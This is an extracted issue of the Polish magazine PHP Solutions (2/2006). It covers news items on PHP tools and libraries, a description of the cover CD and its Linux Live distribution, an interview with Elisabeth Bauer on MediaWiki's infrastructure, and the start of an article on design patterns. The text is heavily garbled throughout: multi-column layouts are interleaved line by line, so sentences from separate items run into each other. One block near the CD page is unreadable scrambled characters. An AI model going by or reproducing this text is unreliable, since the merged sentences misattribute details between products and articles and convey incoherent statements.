naszego kodu PHP nie zostanie przeko- http://p4a.sourceforge.net
piowany i nielegalnie wykorzystany.
phpSHIELD ofertuje typowy interfejs MVC Management System
MVC MS to przyblizona (niedosłowna) imple-
okienkowy, dzięki czemu pozwala zabez- phpSHIELD zamienia kod skryptu mentacja wzorca projektowego MVC, czyli
pieczyć skrypty w mgnieniu oka każdemu. PHP na natywny kod binarny, co całko- Model-Widok-Kontroler (ang. Model-View-Con-
troller). Projekt zawiera m.in. klasy do obsługi
Jest prosty i przyjazny w obsłudze. Do- wicie uniemożliwia odwrócenie procesu, baz danych i systemu logowania. MVC MS
stępne są trzy wersje programu, działają- a także w pewnym stopniu zwiększa wymaga systemu szablonów Smarty w wersji
2.6.0 oraz warstwy abstrakcji bazodanowej
ce pod systemami Windows, Linux i Mac wydajność skryptu. Oprogramowanie AdoDB 4.05.
OS X. Po stronie serwera wymagane obsługuje zarówno czwartą, jak i piątą Licencja: CPL
http://narkozateam.com/mvcms/mvcms.html
jest jedynie PHP w standardowej konfi- odsłonę PHP.
guracji oraz specjalne narzędzia służące Podsumowując: phpSHIELD to na- SWIG
do ładowania zakodowanych skryptów, rzędzie, które przyda się każdemu pro- SWIG (Simplified Wrapper and Interface Gene-
rator) to narzędzie programistyczne zaliczane
udosŧępniane bezpłatnie przez produ- gramiście PHP, który chce tworzyć opro- do wrapperów. Pozwala wykorzystywać kod
centa programu phpSHIELD na głównej gramowanie o zamkniętym kodzie. napisany w C i C++ w aplikacjach tworzonych
w innych językach, takich jak PHP, Python,
witrynie projektu. Twórcy phpSHIELDa Perl, Java, Ruby, C# czy Common Lisp. Głów-
przygotowali je dla trzech systemów ope- Licencja: Komercyjna ($99) nym zastosowaniem SWIG-a jest tworzenie
racyjnych. http://phpshield.com środowisk programistycznych wysokiego pozio-
mu oraz graficznych interfejsów użytkownika,
a także testowanie, debugowanie i prototypo-
wanie oprogramowania w C i C++. Narzędzie
CivicSpace może również posłużyć np. do refaktoringu
i reengineeringu starego oprogramowania.

C ivicSpace to CMS będący udosko- Licencja: BSD
http://www.swig.org
naloną i rozszerzoną dystrybucją
systemu Drupal (opis Drupala znajdzie- WebCollab
cie w poprzednim numerze magazynu WebCollab to rozbudowana, ale jednocześnie
prosta w obsłudze oraz intuicyjna aplikacja do
PHP Solutions, nr 1/2006). Do najważ- zarządzania projektami (ang. project manage-
niejszych ulepszeń, jakie znajdziemy ment). Jest przeznaczona do śledzenia wielu
projektów oraz tworzonych w ich ramach zadań
w CivicSpace, można zaliczyć automa- jednocześnie. Aplikacja jest wielojęzyczna.
tyczny instalator oraz łatwy w użyciu sys- Nadaje się dla organizacji o dowolnym rozmia-
rze, a także jako organizer osobisty. WebCol-
tem konfiguracji. Poza tym CivicSpace
lab umożliwia zaawansowane zarządzanie
zapewnia większe repozytorium dostęp- uprawnieniami użytkowników (grupy), graficzną
nych modułów. Domyślnie dostępnymi prezentację postępów w realizacji określonych
projektów oraz ich porównywanie czy informo-
modułami są: blog, forum dyskusyjne, RSS i wykorzystuje edytor WYSIWYG Ti- wanie emailem o zmianach. Z innych narzędzi
repozytorium plików, galeria fotografii, nyMCE. Istnieje wewnętrzny system wy- warto wymienić kalendarz czy listę zadań do
wykonania (TODO). Wymaga dostępu do bazy
sondy i głosowania. Istnieje możliwość miany wiadomości pomiędzy wszystkimi MySQL lub PostgreSQL.
zarządzania kontaktami z klientami zarejestrowanymi na stronie (system po- Licencja: GPL
http://webcollab.sourceforge.net
(współpraca z CivicCRM). Aplikację wiadomi nas, kiedy nasi znajomi znajdują
wzbogacono ponadto w system rozsyła- się na stronie). Nie zabrakło przyjaznych CNSearch
nia mailingu. CivicSpace oferuje ciekawe odnośników, możliwości zmiany skórek, CNSearch to wyszukiwarka do zainstalowania
na witrynie internetowej. Działa na serwerach
narzędzie do organizowania wydarzeń. czy obsługi wielu języków. Są statystyki z systemem operacyjnym Windows, Linux,
Pozwala użytkownikom zapisywać się i wyszukiwarka zasobów. System ob- FreeBSD i Solaris. Wyszukiwarka znajdzie
zastosowanie głównie na niedużych witrynach,
i tworzyć nowe wydarzenia bezpośred- sługuje keszowanie treści, potrafi też
które potrzebują skutecznego narzędzia do
nio na stronie. Tego programu używała wykorzystywać crona. Do generowania przeszukiwania zawartości podstron. System
niegdyś grupa muzyków (Music for grafik wykorzystuje bibliotekę GD lub składa się z dwóch częsci: aplikacji odpowie-
dzialnej za indeksowanie oraz interfejsu wyszu-
America), do organizacji wielu występów ImageMagick. kiwawczego, który po wprowadzeniu zapytania
w różnych lokalizacjach. Co ciekawe sys- zwraca wyniki. CNSearch poszukuje plików typu
HTML, PDF, DOC, MP3, XLS, RTF oraz TXT.
tem wzbogacono także w oprogramowa- Program nie wymaga dostępu do bazy danych.
nie do otrzymywania dotacji. CivicSpace Licencja: GPL Licencja: demo/komercyjna ($40)
http://www.cn-software.com/cnsearch
posiada własny agregator dokumentów http://civicspacelabs.org

PHP Solutions Nr 2/2006 www.phpsolmag.org 9

06_07_08_09_10_aktualnosci_PL.indd 9 2006-01-12, 17:33:02
Aktualności

clsJSPHP
clsJSPHP to pomost pomiędzy PHP a Java- Google przyspiesza ładowanie stron WWW
Scriptem, pozwalający na wywoływanie funkcji
stworzonych w PHP z poziomu JavaScriptu.
Umożliwia zarówno asynchroniczne, jak i syn-
chroniczne przesyłanie danych z przeglądarki
W eb Accelerator to ciekawa propo-
zycja ze stajni Google Labs (http://
labs.google.com/), która sprawi, że stro-
do serwera, bez konieczności przeładowy-
wania strony. Korzystanie z clsJSPHP jest ny WWW będą ładowały się szybciej. ładowanie witryn. Przepuszcza zapytania
bardzo proste: wystarczy załadować główny Program działa w tle, a od użytkownika poprzez serwery Google i tworzy lokalne
skrypt korzystając ze znacznika <script src>.
Od tej chwili w JS możemy korzystać z takich niewymagane jest podejmowanie żadnych kopie często przeglądanych stron. Jeżeli
funkcji, jak jsphp_exec(), która pozwala łado- operacji. Instalacja przebiega szybko i bez- aktualna wersja strony różni się od kopii,
wać skrypty PHP (z parametrami) i ustalać
boleśnie. Po zainstalowaniu aplikacji nasza akcelerator ściąga tylko różnice między
sposób przesyłania danych. Po stronie ser-
wera korzystamy z obiektu $jsphp i możemy przeglądarka okupiona zostaje kolejnym plikami, oszczędzając na transferze da-
manipulować znajdującym się po stronie gadżetem – małym zegarkiem z czasem, nych. Akcelerator przewiduje również, jakie
klienta dokumentem HTML, m.in. ustawiając
style, atrybuty, wpisując własny kod HTML który zaoszczędziliśmy dzięki zastosowa- witryny będziemy mieli zamiar oglądać
oraz wyświetlając okienka typu Alert. niu akceleratora. Oprogramowanie pracuje i pobiera je z wyprzedzeniem. Zajmuje się
Licencja: LGPL
http://d-xp.com/clsjsphp zarówno na przeglądarkach Internet Explo- także optymalizacją pasma, zapewniając
rer 5.5+, jak i Firefox 1.0+, choć można jak najmniejsze opóźnienia, gdy łącze
phc z niego korzystać także w innych, poprzez jest silnie wykorzystywane. Zanim dane
phc to opensourcowy kompilator kodu PHP.
W założeniu ma przekształcać skrypty PHP ustawienie specjalnego, lokalnego adresu zostaną wysłane do naszego komputera,
bezpośrednio do asemblera, generując pro- proxy (127.0.0.1:9100). Program stworzo- akcelerator dba o ich kompresję, co zwięk-
gramy wykonywalne pod Linuksem. Obecna
wersja nie dokonuje jeszcze samej kompilacji, no z myślą o łączach szerokopasmowych sza prędkość transferu. Web Accelerator
ale ma wiele innych, również użytecznych – w przypadku połączeń modemowych nie pomaga w przyspieszaniu ładowania
zastosowań. Przykładowo, na bazie phc
można stworzyć obfuskator kodu PHP czy
(dial-up) nie zauważymy żadnych rewe- wszystkich stron. Pomija witryny HTTPS
narzędzia do refaktoryzacji, gdyż program lacji. Web Accelerator wykorzystuje kilka (np. strony banków internetowych) czy
szczegółowo analizuje kod skryptu i tworzy je- rozwiązań, które pozwalają przyspieszyć strony z plikami mp3 i video (video stre-
go drzewo, przypominające DOM (Document
Object Model), które można przekształcić aming).
z powrotem do natywnego kodu PHP. Inne
proponowane przez twórców phc rozwiązania,
które możemy na nim oprzeć to narzędzia do Licencja: Google
sprawdzania składni, optymalizacji skryptów http://webaccelerator.google.com/
czy tłumaczenia jednego języka programowa-
nia na drugi.
terms.html
Licencja: GPL
http://www.phpcompiler.org

XOAD
PHP Advanced Graph & Chart Collection

P HP Advanced Graph&Chart Collection
XOAD, znany również jako NAJAX, to zo-
rientowany obiektowo framework pozwala-
jący tworzyć dynamiczne aplikacje webowe
to oprogramowanie przeznaczone do
oparte na technologiach AJAX oraz XAP. generowania wykresów dwuwymiarowych
Do komunikacji wykorzystuje format JSON (2D) i trójwymiarowych (3D) przeznaczo-
(JavaScript Object Notation) i serializację
natywnych obiektów PHP. XOAD obsługuje nych do umieszczania na stronach WWW.
zdarzenia po stronie serwera, stosując ich Program wyróżnia się zaawfunkcjonalno-
obserwację (wzorzec projektowy Observer)
oraz po stronie klienta (zdarzenia XOAD). ścią. Zakres możliwych do wygenerowania
Dla projektu istnieje szereg rozszerzeń, wykresów jest wręcz ogromny, bo obejmu-
działających zarówno po stronie serwera, jak
i klienta. Umożliwiają one m.in. keszowanie
je właściwie wszystkie rodzaje, począwszy
i manipulację dokumentami HTML. XOAD ma od kołowych, słupkowych i liniowych,
dobrą, szczegółową dokumentację (w tym a kończąc na horyzontalnych i umiesz-
tutoriale) zilustrowaną przykładami. Autorzy
projektu zapewniają, iż położyli szczególny czonych w płaszczyźnie pionowej. Do tego
nacisk na bezpieczeństwo. należy dodać wszystkie możliwe odmiany
Licencja: PHP License 3.0
http://www.xoad.org i połączenia wykresów standardowych. Podsumowując: biblioteka jest wystar-
Oprogramowanie pobiera dane wej- czająco prosta w obsłudze, aby nadawać
Phrame ściowe z wielu źródeł, takich jak pliki, bazy się dla początkujących programistów, pod-
Phrame to framework do tworzenia aplikacji
webowych bazujących na modelu Jakarta danych, skrypty, czy parametry przekaza- czas gdy jej funkcjonalność zadowoli wie-
Struts. Zapewnia implementację wzorca MVC ne za pośrednictwem tagów HTML. Na lu profesjonalistów. Szczególnie warto po-
(Model – Widok – Kontroler) i dodaje do niego
takie komponenty, jak: HashMap, ArrayList, stronie internetowej projektu znajdziemy lecić przewodniki, prezentujące metody
ListIterator, Stack (stos), Object i wiele innych. rozbudowaną dokumentację oraz serię tu- wdrożenia 17 typów wykresów. Pozwalają
Twórcy Phrame zalecają tworzenie aplikacji
zgodnie z architekturą Model2, która stanowi
toriali wprowadzających. Pokazują one, jak one błyskawicznie zorientować się w zasa-
odmianę MVC. W ramach Modelu, Phrame w prosty sposób wygenerować pożądany dach pracy z biblioteką, szczególnie, gdy
współpracuje ze standardowymi technolo-
wykres, wpisując dosłownie jedną linię ko- źródłem danych mają być bazy danych
giami dostępu do baz danych, takimi jak jak
PEAR::DB czy ADODB. Widok może korzy- du: tworzymy znacznik <img>, do którego czy skrypty.
stać ze Smarty'ego, XSLT, Flasha MX i innych jako źródło ustalamy dołączony do pakietu
rozwiązań. Phrame wymaga PHP 4.2.x lub
4.3.x. Działa również pod PHP5. skrypt PHP. Aby otrzymać gotowy wykres, Licencja: trial/komercyjna ($195)
Licencja: LGPL musimy jedynie podać jego parametry, ta- http://www.jpowered.com/php-scripts/adv-
http://www.phrame.org
kie jak typ, rozmiar i źródło danych. graph-chart

10 www.phpsolmag.org PHP Solutions Nr 2/2006

06_07_08_09_10_aktualnosci_PL.indd 10 2006-01-12, 17:34:01
11_progreso_R_PL.indd 1 2006-01-12, 17:34:50
Opis CD

Lekcje video Keystonelearning

N a płycie zamieściliśmy przykładowe
lekcje programowania w PHP5,
prowadzone przez Davida Smitha. Ma on
bardzo duże doświadczenie w nauczaniu
programowania. Szkolił między innymi pra-
cowników Digital Equipment Corporation,
czy Compaq Computers, a obecnie jest
trenerem w firmie Microsoft. Lekcje video,
które udostępniamy, uzupełnione są mate-
riałami w PDF i przykładowymi skryptami
w PHP także obecnymi na płycie. Jest to
część większego kursu, którego celem jest
nauczenie posługiwania się językiem PHP
w stopniu umożliwiającym pisanie dojrza-
łych i interaktywnych aplikacji. średnio z PHP Solutions Live CD, ale ist- pliki .wmv znajdujące się w podkatalogach,
Kurs prowadzi od podstaw do bar- nieje także możliwość skorzystania z nich o ile posiadamy odtwarzacz czytający te-
dzo zaawansowanych technik. Stara się w systemach zainstalowanych na stałe. Dla go typu pliki.
nauczyć wszystkiego co dla programisty Windows stworzono specjalny instalator Pełny kurs dostępny jest na stronie
PHP jest ważne. Jego duża część poświę- dostępny na płycie w katalogu PHP 5 Pro- producenta: http://store.keystonelearning.
cona jest obiektowości. Wszystkie dostęp- gramming Essentials. W każdym z syste- com/php5.aspx
ne na płycie lekcje można obejrzeć bezpo- mów można także po prostu odtwarzać

PHP Solutions Live – opis płyty CD

N a płycie CD zamieściliśmy PHP
Solutions Live – bootowalną dystry-
bucję Linuksa opartą na Aurox Live 11.
zać się konieczne ustawienie w BIOS-ie
komputera odpowiedniej opcji). Po uru-
chomieniu systemu, ukaże się okno prze-
Stanowi ona kompletną platformę testową, glądarki internetowej, zawierające me-
zawierającą PHP5, bazę danych MySQL, nu płyty podzielone na kategorie. Pierw- książki w formacie PDF oraz rozwiązania
serwer WWW Apache oraz przeglądarkę szą z nich jest Keystonelearning videos. z artykułów Serwer Monitor oraz Data
Firefox. Pozwala na testowanie i modyfi- Znajdują się w niej opisane wyżej lek- Grid.
kowanie opisanych w artykułach aplikacji, cje video dotyczące PHP. Są one goto- PHP Solutions Live pozwala na ko-
a także tworzenie i korzystanie z własnych we do odtwarzania i możecie je urucho- rzystanie z dysków twardych (wszystkie
skryptów (należy je umieszczać w katalogu mić jednym kliknięciem. Zachęcamy do partycje są automatycznie montowane
/var/www/html). oglądania! podczas startu systemu) oraz sieci lo-
Aby ją uruchomić, należy wystarto- W następnych kategoriach znajdziecie kalnej i Internetu. Sieć trzeba najpierw
wać komputer z płyty CD (może oka- aplikacje, które zmieściły się na płycie, skonfigurować. Możecie to zrobić na
kilka sposobów. Pierwszym z nich jest
użycie działającego w trybie graficz-
nym narzędzia (system-network-config).
Drugą metodą jest wywołanie polecenia
netconfig z terminala. Po jego użyciu trze-
ba zrestartować sieć poleceniem service
network restart. Kolejnym sposobem jest
użycie trzech komend linuksowych:

ifconfig urządzenie adres_IP,route
add default gw adres_bramki_internetowej

oraz

echo "nameserver adres_IP" > /etc/
resolv.conf.

Życzymy miłej pracy z Livem i czekamy na
Wasz odzew.

Redakcja PHP Solutions

12 www.phpsolmag.org PHP Solutions Nr 2/2006

12_opisCD_live_PL.indd 12 2006-01-12, 17:36:36
Na CD
Przetestuj aplikacje
bez instalacji!

3 nowe książki elektroniczne
Perl and XML
PHP5 Power Programming Video i PDF
OASIS OpenDocument essentials – using OASIS OpenDocument XML lekcje PHP z KeyStone Learning
obejrzyj w Live lub zainstaluj!

Programy
Macromedia Dreamwaver 8 Rozwiązania z artykułów w PHP Solutions LiveCD
MX Kollection 3 – trial version Serwer Monitor
PHP Advanced Graph & Chart Collection – niekończący się trial DataGrid
PHPShield – komercyjny encoder PHP – 30-day trial
CN-STATS i CN-SEARCH – special try-before-buy – wypróbuj w Live
SVN and CSV for Dreamweaver – evaluation version – wypróbuj w Live

QDSLVDüSRGD
á\Wą SURV]Ċ GUHV
]S FG
yZ #V
P RIW
OH Z
S URE DUH
FR
]LH P
UD S
:

O
na naszej stronie internetowej pod adresem www.phpsolmag.org/pl

na naszej stronie internetowej pod adresem www.phpsolmag.org/pl
Wszystkie listingi z artykułów zostały zamieszczone

Wszystkie listingi z artykułów zostały zamieszczone

13_pod_CD.indd 13 2006-01-12, 17:37:01
Wywiad

Sukces PHP i Wikipedii:
wywiad z Elisabeth Bauer
Krzysztof Sobolewski

Wikipedia to ponad milion artykułów w kilkunastu
językach i lider wśród encyklopedii internetowych.
Sukces zawdzięcza silnikowi MediaWiki:
wielojęzycznemu, wielowersyjnemu systemowi
zarządzania artykułami, pozwalającemu na
współpracę wielu redaktorów i oferującemu
kontrolę wersji. MediaWiki wykorzystuje język
znaczników Wikitext, dzięki któremu dodawanie
i edycja artykułów są szybkie i łatwe. Silnik
MediaWiki pokazuje potęgę technologii *AMP.

Z
astosowanie MediaWiki nie jest pod różnymi nazwami, aż przybrał postać należy obecnie do 40 najpopularniejszych
ograniczone do samej Wikipedii. znanego nam obecnie silnika MediaWiki. witryn w Sieci). Stworzyliśmy na przykład
Silnik ten obsługuje również po- KS: Dlaczego wybraliście właśnie cały zestaw serwerów buforujących Squid,
krewne projekty Wiktionary (http://wiktio- PHP i MySQL? serwujących czytelnikom gotowe strony.
nary.org) i Wikibooks (http://wikibooks.org), EB: Z dwóch prostych powodów: PHP Obsługa zapytań do bazy danych MySQL
znane pod łączną nazwą Wikimedia, oraz i MySQL są darmowe i dostępne na zasa- jest rozkładana na kilka replikowanych
wiele innych serwisów. Rozmawiamy z Eli- dach open source, a poza tym korzystała serwerów, co niekiedy wiąże się z proble-
sabeth Bauer, redaktorem i administrato- z nich pierwsza osoba, która na ochotnika mami wynikającymi z opóźnień replikacji
rem niemieckiej wersji Wikipedii. Elisabeth stworzyła oprogramowanie specjalnie dla – w skrajnych sytuacjach musimy przełą-
jest również rzecznikiem prasowym Wiki- potrzeb Wikipedii. czać centralną bazę danych w tryb tylko do
media Foundation – odpowiedzialnej za KS: Wikipedię można uznać za wielki odczytu, wstrzymując tym samym wszelkie
finansowanie rozwoju i utrzymania Media- sukces technologii Apache+PHP+MySQL prace redakcyjne do czasu zaktualizowania
Wiki oraz projektów pokrewnych. (*AMP). Obecnie encyklopedia zawiera po- bazy przez wszystkie serwery replikujące.
Krzysztof Sobolewski: Jakie były po- nad milion artykułów, a ruch na serwerach W niektórych przypadkach musieliśmy się
czątki projektu MediaWiki? Co było wtedy jest bardzo duży. Jakie wady technologii rozejrzeć na innymi rozwiązaniami pro-
najważniejsze? Jakie technologie zostały AMP możesz wskazać z punktu widzenia gramowymi – na przykład uruchomiony
wykorzystane – czy od początku były to administratora? Czy aplikacje bazujące w listopadzie 2005 serwer grafiki wyko-
PHP i MySQL? na AMP mogą spro stać tak dużemu rzystuje teraz zamiast Apache’a szybszy
Elisabeth Bauer: Tak, PHP i MySQL zapotrzebowaniu i nadal pracować wydaj- serwer lighthttpd. Wyszukiwarka była cią-
były używane od samego początku. Pier- nie? Czy mieliście dotąd jakieś problemy głym źródłem problemów, do tego stopnia,
wotna wersja Wikipedii korzystała z wiki z utrzymaniem Wikipedii? Czy istnieje że przy dużym obciążeniu musieliśmy ją
Usemod, ale szybko stało się jasne, że granica, poza którą silnik MediaWiki nie rutynowo wyłączać, co oczywiście było
ten silnik nie nadaje się dla encyklopedii, będzie w stanie podołać wymaganiom? sporą niewygodą dla czytelników Wikipedii.
gdyż nie skaluje się dostatecznie dobrze. EB: W ciągu ostatnich czterech lat Z tego względu projekty Wikimedia wyko-
Niemiecki student biologii Magnus Manske mieliśmy sporo problemów i próbowaliśmy rzystują obecnie wyszukiwarkę opartą na
stworzył zatem własny CMS, wykorzystując różnych rozwiązań w celu utrzymania stałej silniku Lucene.
w tym celu PHP i MySQL. Jego system był dostępności witryny w obliczu wciąż rosną- KS: Ile macie serwerów i jak wygląda
kilkakrotnie modyfikowany i rozszerzany cego ruchu (według Alexa.com, Wikipedia zarządzanie nimi? Jakiego oprogramo-

14 www.phpsolmag.org PHP Solutions Nr 2/2006

14_15_Wywiad_PL.indd 14 2006-01-12, 17:38:48
Wikipedia Wywiad

wania używacie, poza Apachem, MySQL firmowych wiki – wiadomo nam o kilku dobrze, zwłaszcza że wszyscy rozumieją
and PHP? dużych firmach korzystających z baz wie- konieczność dbania o bezpieczeństwo
EB: W listopadzie 2005 korzystaliśmy dzy opartych na MediaWiki. Przykładem – wiele zmian jest wprowadzanych do
ze 124 serwerów w czterech miejscach: może być firma Opensuse, używająca działającego kodu Wikipedii tuż po ich
na Florydzie, w Amsterdamie, w Paryżu MediaWiki dla swojego serwisu http:// zatwierdzeniu w CVS-ie.
i w Korei Południowej. Zespołem serwerów www.opensuse.org, ale są też instytucje KS: Czy firmy są skłonne wspierać
zarządza dwóch oficjalnie zatrudnionych rządowe, organizacje pozarządowe, firmy Fundację finansowo?
pracowników i grupa administratorów- consultingowe i wiele innych (patrz http:// EB: Czasami tak – niektórzy są gotowi
ochotników. Serwery są podzielone na meta.wikimedia.org/wiki/Sites_using_Me- zapłacić za dodanie określonych funkcji,
serwery bazy danych, serwery Apa- diaWiki). Kontakt z użytkownikami Media- choć tego typu potrzeby częściej są zgła-
che i serwery buforujące Squid. Dla Wiki jest na ogół ograniczony do zgłoszeń szane przez instytucje akademickie, na
zwiększenia wydajności używany jest problemów technicznych na liście dys- przykład holenderską fundację Kennisnet.
Memcached, a za balansowanie obcią- kusyjnej. Pewnym problemem jest fakt, Inne organizacje wspierają naszą pracę
żenia odpowiada mechanizm LVS (http: że MediaWiki nie ma dokumentacji jako zezwalając swoim programistom na pomoc
//wikitech.leuksman.com/view/LVS). Do takiej, więc użytkownicy muszą tworzyć w projekcie Wikimedia w czasie wolnym
śledzenia błędów używana jest Bugzilla. własną dokumentację lub kopiować ist- lub udzielając darmowego wsparcia tech-
Poza tym korzystamy z narzędzi Mailman, niejące informacje z Wikipedii na licencji nicznego.
OTRS i kilku innych. GFD. KS: Jakie macie plany na przyszłość?
KS: Które z możliwości silnika Media- KS: MediaWiki jest wielojęzycznym Jak widzicie kierunki dalszego rozwoju Wi-
Wiki lubisz najbardziej? Które funkcje uwa- CMS-em, w którym lokalizacja treści jest kipedii zarówno od strony użytkowej, jak
żasz za kluczowe dla sukcesu Wikipedii? jednym z kluczowych elementów. Czy i technicznej? W kwestii technicznej, czy
EB: Trudne pytanie... Osobiście naj- wielojęzyczność jest wykorzystywana planujecie przejść na PHP5?
bardziej lubię możliwość definiowania w serwisach wiki innych niż Wikipedia EB: Dalszy rozwój MediaWiki będzie
własnych arkuszy stylów CSS i łączenia i projekty pokrewne? Czy silnik MediaWiki nadal zależał w dużej mierze od potrzeb
ich z funkcjami Javascriptu, co pozwala był wielojęzyczny od samego początku? Wikipedii – obecnie oznacza to przede
dowolnie dostosować styl interfejsu do kon- EB: Tak, wielojęzyczność była pod- wszystkim rozbudowę mechanizmów
kretnych potrzeb. Jednak dla sukcesu Wi- stawowym wymaganiem dla międzyna- kontroli dostępu i walidacji. Opraco-
kipedii najważniejsze były (i nadal są) nie rodowej encyklopedii. Jakiś czas temu wywane są również lepsze metody
zaawansowane funkcje silnika MediaWiki, w MediaWiki pojawiła się rewelacyjna zwalczania spamu i ataków botów, jak
tylko doskonałe wbudowane możliwości funkcja, która niepomiernie skróciła czas również mechanizm oceniania treści. Od
śledzenia zmian. Ostatnie modyfikacje, lokalizacji: możliwość edycji zlokalizo- strony technicznej, trwają prace nad We-
nowe strony, historia stron, czytelnie for- wanych komunikatów przez zaufanych bAPI pozwalającym aplikacjom bezpo-
matowane różnice między wersjami, lista użytkowników wiki. Pozwala nam to stwo- średnio korzystać z artykułów Wikipedii.
użytkowników, możliwość łatwego śledze- rzyć Wikipedię w mało znanym języku, Przejście na PHP5 jest planowane w tym
nia informacji dodawanych przez poszcze- na przykład w oksytańskim, nadać kilku tygodniu, więc w chwili publikacji tego
gólnych redaktorów – wszystkie te funkcje zaufanym użytkownikom uprawnienia ad- wywiadu Wikipedia będzie już prawdo-
są nieodzowne w procesie tworzenia wyso- ministratora i po paru tygodniach mamy podobnie korzystać z PHP5.
kiej jakości encyklopedii o otwartej filozofii zlokalizowaną wersję MediaWiki dla oksy- KS: Dziękuję za rozmowę. 
redagowania. tańskiego.
KS: Poza Wikipedią i projektami KS: Ilu programistów pracuje nad pro-
pokrewnymi (na przykład Wiktionary.org jektem MediaWiki? Czy wszyscy stosują
czy Wikibooks.org), ile serwisów korzysta się do ogólnej polityki rozwoju projektu? O naszym gościu
obecnie z silnika MediaWiki? Czy ich ad- EB: Przy MediaWiki pracuje obecnie
Elisabeth Bauer jest redaktorem i admi-
ministratorzy kontaktują się z wami? około tuzina programistów, a kilku innych nistratorem niemieckiej wersji Wikipedii,
EB: Silnik MediaWiki stał się ostatnio od czasu do czasu zgłasza poprawki. a dodatkowo pełni funkcję rzecznika
jedną z popularniejszych platform dla ser- (patrz http://meta.wikimedia.org/wiki/De- prasowego Wikimedia Foundation. Jej
rola w rozwoju silnika MediaWiki polega
wisów wiki. Używa go większość znanych velopers). Większość programistów po-
na przekazywaniu informacji między
mi nowych wiki, między innymi dlatego, chodzi ze społeczności Wikimedia, ale użytkownikami a programistami. Do jej
że wiele osób już zna składnię artykułów niektórzy prowadzą też własne wiki (na obowiązków należy zarządzanie niemiec-
MediaWiki z prac nad Wikipedią. Dużą przykład Evan Prodromou, założyciel Wi- kojęzyczną dokumentacją MediaWiki,
przekazywanie programistom sugestii
zaletą jest potężna baza użytkowników, kiTravel). Proces deweloperski opiera się
użytkowników dotyczących nowych funk-
co znacznie zwiększa bezpieczeństwo na typowym dla projektów open source cji, informowanie użytkowników o proble-
– jeśli pojawia się problem, to na ogół jest modelu życzliwej dyktatury – ostateczna mach technicznych zgłaszanych przez
on szybko wykrywany w obsługującej mi- decyzja odnośnie zmian wprowadza- administratorów i sprawowanie pieczy
nad aspektami użytkowymi tworzonego
liony użytkowników Wikipedii i błyskawicz- nych do kodu produkcyjnego należy do
oprogramowania.
nie naprawiany. Silnik MediaWiki stał się głównego programisty, Briona Vibbera. Kontakt: elian@djini.de
szczególnie popularny w wewnętrznych Jak dotąd model ten sprawdza się dość

PHP Solutions Nr 2/2006 www.phpsolmag.org 15

14_15_Wywiad_PL.indd 15 2006-01-12, 17:38:58
Początki

Wzorce projektowe w akcji
– rozwiązania znanych
problemów w praktyce
Stopień trudności: 
Paweł Kozłowski, Piotr Szarwas

Znajomość wzorców przyspiesza
samodzielne rozwiązywanie wielu problemów
programistycznych i systematyzuje terminologię
używaną przez programistów. Ta wiedza
zdecydowanie oszczędza czas potrzebny na
stworzenie dobrze działającej i poprawnie
skonstruowanej aplikacji.

I
deę wzorców projektowych najlepiej przełożyć bezpośrednio na kod, kiedy te
oddaje zdanie: Powerful and practical drugie wyznaczają strukturę naszego kodu
solutions to common problems, czyli w skali warstw, a nie pojedynczych klas.
wydajne i praktyczne rozwiązania znanych Wzorce projektowe zawsze były do-
problemów programistycznych. meną obiektowych języków programowa-
Najprostszym przykładem wzorca mo- nia takich jak Java. Ich implementacja dla
że być włączanie tych samych plików (np. PHP3 była niemożliwa (brak modelu obiek-
header.php i footer.php) na wielu stronach towego), a PHP4 stawiało wiele ograni-
WWW. Dzięki temu, zmiany dokonane czeń, np. brak interfejsów i typowania. Na
w tych plikach będą widoczne na wszyst- szerszą skalę zaczęto je stosować dopiero
kich stronach, które z nich korzystają. w PHP5, które zapewnia bogate i w pełni
W SIECI W rzeczywistości wzorce rozwiązują dużo obiektowe środowisko aplikacyjne.
poważniejsze problemy, stanowiąc często Tym artykułem otwieramy serię po-
prawdziwe remedium dla programistów, święconą wzorcom projektowym, w której
1. http://www.zend.com/php/ a w konsekwencji zapewniając solidną, dokonamy usystematyzowania wiedzy,
design/ – projektowanie
aplikacji w PHP5
elastyczną i wydajną architekturę aplikacji.
2. http://www.developer.com/ Bardzo istotne jest odróżnienie wzorców
design/article.php/3345121 programistycznych (np. Dekorator pozwa-
Co należy wiedzieć...
– implementacja wzorców Powinieneś być zaznajomiony z progra-
projektowych w PHP5 lający na udekorowanie klasy nowymi funk- mowaniem obiektowym w PHP5
3. http://www.phptr.com/ cjonalnościami) od wzorców architektonicz-
content/images/
013147149X/downloads/ nych, zwanych też projektowymi (np. MVC Co obiecujemy...
Poznasz najważniejsze wzorce projekto-
013147149X_book.pdf mówiący o tym, że aplikację należy dzielić
– znakomita książka PHP5 we i ich praktyczne wykorzystanie w bu-
Power Programming w wer-
na trzy lub cztery warstwy: prezentację, dowie frameworka
sji PDF logikę/serwisy i dane). Pierwsze dają się

16 www.phpsolmag.org PHP Solutions Nr 2/2006

16_17_18_19_20_21_22_23_wzorce_PL.indd 16 2006-01-12, 17:40:24
Wzorce projektowe Początki

odróżnienia wzorców architektonicznych
od programistycznych, ich podziału na ka- Wzorce programistyczne i projektowe
tegorie i warstwy aplikacji, wskazania, które Wielu programistów kojarzy pojęcie wzorców z książką Design Patterns, napisaną przez
wzorce są wadliwe i których należy się czwórkę programistów: Erich Gamma, Richard Helm, Ralph Johnson and John Vlissides,
zwanych Bandą Czworga w skrócie GOF (Gang Of Four). Książka ta jako pierwsza spo-
wystrzegać (antywzorce). Zaprezentujemy pularyzowała pojęcie wzorców w świecie informatyki.
wiele pomysłów i technik wywodzących Wzorce nie stanowią jednego wspólnego worka, dzieli się je na kategorie, co ułatwia
się z Javy, która jest podstawą inspirującą ich odnajdywanie i zrozumienie. Można je kategoryzować na wiele sposobów – GOF po-
nasze pomysły. Powiemy, kiedy powinno dzielili wzorce na trzy kategorie:
się stosować dziedziczenie, a kiedy kom-  strukturalne (pokazujące, jak należy łączyć ze sobą klasy),
pozycję i pisanie do interfejsu. Pokażemy  behawioralne (pokazujące jak uelastyczniać zachowanie oprogramowania),
wam, jak budować aplikacje, które są  tworzące (pokazujące jak uelastyczniać tworzenie obiektów).
jednocześnie proste i elastyczne, czyli
Inny sposób mówi o podziale wzorców na warstwy. I tak mamy wzorce należące do warstwy
odporne na zmiany założeń. Zobaczycie, prezentacji, logiki biznesowej, i dostępu do danych. Są też wzorce, które nie należą do żad-
jak dzielić aplikacje na niezależne warstwy, nej z wymienionych kategorii, np. Template Metod, Composite czy Dekorator. Wyróżnia się
które można wielokrotnie wykorzystywać jeszcze trzeci podział mający charakter nieformalny, który dzieli wzorce na programistyczne
i architektoniczne, o którym wspomnieliśmy na początu artykułu. Istnieją też wzorce, które
